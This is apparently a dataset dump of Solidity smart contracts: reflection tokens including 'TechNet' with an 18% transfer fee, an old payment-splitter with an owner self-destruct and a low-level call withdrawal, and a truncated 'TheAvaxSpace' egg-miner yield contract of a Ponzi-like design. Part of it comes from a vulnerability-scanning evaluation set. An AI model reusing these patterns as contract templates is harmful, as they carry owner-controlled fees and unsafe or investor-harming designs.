function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(200).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 331,050 | 11,264 |
bcf041e981204f59ef7f3cf20f6142e09a2bfce21d101f96f0102e497a365b98
| 18,827 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/10/1049a53c761bc271f20b72c5ce802cd83fcf1931_TechNet.sol
| 4,184 | 15,796 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TechNet is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'TechNet';
string private _symbol = 'TechNet';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(18);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 97,746 | 11,265 |
44090f040d0e465c041169737f288a3cfe95b0bab107929740fa692b190532cc
| 15,985 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x97a8c6af1c65d27f6bb0da4a3ace902c93e24eab.sol
| 2,812 | 15,432 |
pragma solidity ^0.4.6;
// --------------------------
// R Split Contract
// --------------------------
contract RSPLT_H {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, locked}
struct partnerAccount {
uint credited; // total funds credited to this account
uint balance; // current balance = credited - amount withdrawn
uint pctx10; // percent allocation times ten
address addr; // payout addr of this acct
bool evenStart; // even split up to evenDistThresh
}
// -----------------------------
// data storage
// ----------------------------------------
address public owner; // deployer executor
mapping (uint => partnerAccount) partnerAccounts; // accounts by index
uint public numAccounts; // how many accounts exist
uint public holdoverBalance; // amount yet to be distributed
uint public totalFundsReceived; // amount received since begin of time
uint public totalFundsDistributed; // amount distributed since begin of time
uint public totalFundsWithdrawn; // amount withdrawn since begin of time
uint public evenDistThresh; // distribute evenly until this amount (total)
uint public withdrawGas = 35000; // gas for withdrawals
uint constant TENHUNDWEI = 1000; // need gt. 1000 wei to do payout
uint constant MAX_ACCOUNTS = 5; // max accounts this contract can handle
SettingStateValue public settingsState = SettingStateValue.debug;
// --------------------
// contract constructor
// --------------------
function RSPLT_H() {
owner = msg.sender;
}
// -----------------------------------
// lock
// lock the contract. after calling this you will not be able to modify accounts:
// -----------------------------------
function lock() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
settingsState = SettingStateValue.locked;
StatEvent("ok: contract locked");
}
// -----------------------------------
// reset
// reset all accounts
// -----------------------------------
function reset() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
numAccounts = 0;
holdoverBalance = 0;
totalFundsReceived = 0;
totalFundsDistributed = 0;
totalFundsWithdrawn = 0;
StatEvent("ok: all accts reset");
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setEvenDistThresh(uint256 _thresh) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
evenDistThresh = (_thresh / TENHUNDWEI) * TENHUNDWEI;
StatEventI("ok: threshold set", evenDistThresh);
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setWitdrawGas(uint256 _withdrawGas) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
withdrawGas = _withdrawGas;
StatEventI("ok: withdraw gas set", withdrawGas);
}
// ---------------------------------------------------
// add a new account
// ---------------------------------------------------
function addAccount(address _addr, uint256 _pctx10, bool _evenStart) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
if (numAccounts >= MAX_ACCOUNTS) {
StatEvent("err: max accounts");
return;
}
partnerAccounts[numAccounts].addr = _addr;
partnerAccounts[numAccounts].pctx10 = _pctx10;
partnerAccounts[numAccounts].evenStart = _evenStart;
partnerAccounts[numAccounts].credited = 0;
partnerAccounts[numAccounts].balance = 0;
++numAccounts;
StatEvent("ok: acct added");
}
// ----------------------------
// get acct info
// ----------------------------
function getAccountInfo(address _addr) constant returns(uint _idx, uint _pctx10, bool _evenStart, uint _credited, uint _balance) {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == _addr) {
_idx = i;
_pctx10 = partnerAccounts[i].pctx10;
_evenStart = partnerAccounts[i].evenStart;
_credited = partnerAccounts[i].credited;
_balance = partnerAccounts[i].balance;
StatEvent("ok: found acct");
return;
}
}
StatEvent("err: acct not found");
}
// ----------------------------
// get total percentages x10
// ----------------------------
function getTotalPctx10() constant returns(uint _totalPctx10) {
_totalPctx10 = 0;
for (uint i = 0; i < numAccounts; i++) {
_totalPctx10 += partnerAccounts[i].pctx10;
}
StatEventI("ok: total pctx10", _totalPctx10);
}
// ----------------------------
// get no. accts that are set for even split
// ----------------------------
function getNumEvenSplits() constant returns(uint _numEvenSplits) {
_numEvenSplits = 0;
for (uint i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++_numEvenSplits;
}
}
StatEventI("ok: even splits", _numEvenSplits);
}
// -------------------------------------------
// default payable function.
// call us with plenty of gas, or catastrophe will ensue
// note: you can call this fcn with amount of zero to force distribution
// -------------------------------------------
function () payable {
totalFundsReceived += msg.value;
holdoverBalance += msg.value;
StatEventI("ok: incoming", msg.value);
}
// ----------------------------
// distribute funds to all partners
// ----------------------------
function distribute() {
//only payout if we have more than 1000 wei
if (holdoverBalance < TENHUNDWEI) {
return;
}
//first pay accounts that are not constrained by even distribution
//each account gets their prescribed percentage of this holdover.
uint i;
uint pctx10;
uint acctDist;
uint maxAcctDist;
uint numEvenSplits = 0;
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++numEvenSplits;
} else {
pctx10 = partnerAccounts[i].pctx10;
acctDist = holdoverBalance * pctx10 / TENHUNDWEI;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
//now pay accounts that are constrained by even distribution. we split whatever is
//left of the holdover evenly.
uint distAmount = holdoverBalance;
if (totalFundsDistributed < evenDistThresh) {
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
acctDist = distAmount / numEvenSplits;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
uint fundLimit = totalFundsReceived;
if (fundLimit > evenDistThresh)
fundLimit = evenDistThresh;
maxAcctDist = fundLimit / numEvenSplits;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
}
//amount that cannot be distributed.
distAmount = holdoverBalance;
if (distAmount > 0) {
uint totalDistPctx10 = 0;
for (i = 0; i < numAccounts; i++) {
pctx10 = partnerAccounts[i].pctx10;
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited < maxAcctDist) {
totalDistPctx10 += pctx10;
}
}
for (i = 0; i < numAccounts; i++) {
pctx10 = partnerAccounts[i].pctx10;
acctDist = distAmount * pctx10 / totalDistPctx10;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
StatEvent("ok: distributed funds");
}
// ----------------------------
// withdraw account balance
// ----------------------------
function withdraw() {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == msg.sender) {
uint amount = partnerAccounts[i].balance;
if (amount == 0) {
StatEvent("err: balance is zero");
} else {
partnerAccounts[i].balance = 0;
totalFundsWithdrawn += amount;
if (!msg.sender.call.gas(withdrawGas).value(amount)())
throw;
StatEventI("ok: rewards paid", amount);
}
}
}
}
// ----------------------------
// suicide
// ----------------------------
function hariKari() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
suicide(owner);
}
}
| 199,656 | 11,266 |
d52434c186ccc22afb3d80485bee9bc9c7f127960eca407254909e8eb3c93e32
| 16,428 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a7/a713dc7eea81724d5526f583a42fa1827cba3c75_TheAvaxSpace.sol
| 4,620 | 14,798 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract TheAvaxSpace {
using SafeMath for uint256;
uint256 public EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public REFERRAL = 70;
uint256 private DEV = 15;
uint256 private MKT = 5;
uint256 public MARKET_EGGS_DIVISOR = 2; // 50%
uint256 public MARKET_EGGS_DIVISOR_SELL = 1; // 100%
uint256 public MIN_INVEST_LIMIT = 1 * 1e17;
uint256 public WALLET_DEPOSIT_LIMIT = 1000 * 1e18;
uint256 public COMPOUND_BONUS = 30;
uint256 public COMPOUND_BONUS_MAX_TIMES = 6;
uint256 public COMPOUND_STEP = 24 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 600;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 3; // compound days, for no tax withdrawal.
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 private marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address payable private owner;
address payable private dev1;
address payable private dev2;
address payable private mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address payable _owner, address payable _dev1, address payable _dev2, address payable _mkt) {
require(!isContract(_owner) && !isContract(_dev1) && !isContract(_dev2) && !isContract(_mkt));
owner = _owner;
dev1 = _dev1;
dev2 = _dev2;
mkt = _mkt;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function hatchEggs(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function seedMarket() public payable{
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 108000000000;
buyEggs(msg.sender);
} else revert("Contract not yet started.");
}
}
function sellEggs() public{
require(contractStarted);
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
